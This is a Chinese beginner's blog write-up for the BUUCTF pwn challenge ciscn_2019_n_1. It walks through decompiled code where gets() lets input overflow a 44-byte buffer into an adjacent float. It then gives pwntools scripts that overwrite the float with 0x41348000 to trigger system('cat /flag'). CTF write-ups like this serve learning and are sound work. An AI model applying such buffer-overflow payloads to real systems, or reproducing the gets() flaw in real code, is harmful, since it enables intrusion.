初学pwn-BUUCTF(ciscn_2019_n_1)

原创

天柱是真天柱 于 2021-08-31 16:51:17 发布 80 收藏

分类专栏： pwn 文章标签： pwn

本文链接：https://blog.csdn.net/weixin_44547827/article/details/120021387

初学pwn-writeUp

BUUCTF的第四道题，ciscn-2019_n_1。

首先还是链接远端查看一下。

```
lqr8452@ubuntu:~/Desktop$ nc node4.buuoj.cn 25154
Let's guess the number.
11.28125
Its value should be 11.28125
^C
```

这里提示让猜一个数字，然后他告诉我们，这个数字应该是11.28125。这就有点掩耳盗铃了呀，但是输入了11.28125，还是在说应该输入11.28125。可能是有点问题，ida打开查看一下。

```
1  int __cdecl main(int argc, const char **argv, const char **envp)
2  {
3    setvbuf(_bss_start, 0LL, 2, 0LL);
4    setvbuf(stdin, 0LL, 2, 0LL);
5    func();
6    return 0;
7  }
```

可以看到主函数里，调用了三个函数，前两个都是set某个值，我们直接看func函数。

```
1  int func()
2  {
3    char v1[44]; // [rsp+0h] [rbp-30h] BYREF
4    float v2; // [rsp+2Ch] [rbp-4h]
5
6    v2 = 0.0;
7    puts("Let's guess the number.");
8    gets(v1);
9    if ( v2 == 11.28125 )
10     return system("cat /flag");
11   else
12     return puts("Its value should be 11.28125");
13 }
```


那这就很明显了，刚刚输入的值赋给了v1，但是这里是要让v2的值等于11.28125才可以。查看一下地址。

IDA Vie... | Pseudocod... | Stack of f... | Hex Vie...

```
-0000000000000030 ; D/A/*   : change type (data/ascii/array)
-0000000000000030 ; N       : rename
-0000000000000030 ; U       : undefine
-0000000000000030 ; Use data definition commands to create local
-0000000000000030 ; Two special fields " r" and " s" represent re
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30          db 44 dup(?)
-0000000000000004 var_4           dd ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
```


嗯，跟想象的一样，v2紧跟在v1后面，只要在输入v1的时候，让它栈溢出，覆盖掉v2就可以了。

不过我在这里输入的时候犯了一个错误

exp

```
from pwn import *

p = remote("node4.buuoj.cn", 25154);

payload = 'a' * 0x2c + p64(11.28125).decode("iso-8859-1");

p.recvuntil("number.");

p.sendline(payload);

p.interactive();
```

这样去执行脚本，没有完成，我想到了会不会是浮点数的原因。查了一下，发现p64这个函数使用来打包整数的，小数不可以。而且，覆盖在地址上的应该是浮点数转化过之后的样子。
这里首先应该将浮点数转换为二进制数，然后修改为符号位+指数位+尾数位的形式，最后将它转换为十六进制，也就是41348000。当然也可以不转换，因为这个浮点数在程序中有体现，那么肯定会有一个数据段记录着他的十六进制数。查看一下。

```
.rodata:00000000004007CC ; const char command[]
.rodata:00000000004007CC command         db 'cat /flag',0        ; DATA XREF: func+48↑o
.rodata:00000000004007D6 ; const char aItsValueShould[]
.rodata:00000000004007D6 aItsValueShould db 'Its value should be 11.28125',0
.rodata:00000000004007D6                                         ; DATA XREF: func:loc_4006CF↑o
.rodata:00000000004007F3                 align 4
.rodata:00000000004007F4 dword_4007F4    dd 41348000h            ; DATA XREF: func+31↑r
.rodata:00000000004007F4                                         ; func+3F↑r
.rodata:00000000004007F4 _rodata         ends
.rodata:00000000004007F4
```

可以看到这里就有41348000这个十六进制数字。修改脚本
exp

```
from pwn import *

p = remote("node4.buuoj.cn", 25154);

payload = 'a' * 0x2c + p64(0x41348000).decode("iso-8859-1");

p.recvuntil("number.");

p.sendline(payload);

p.interactive();
```

执行，获得flag。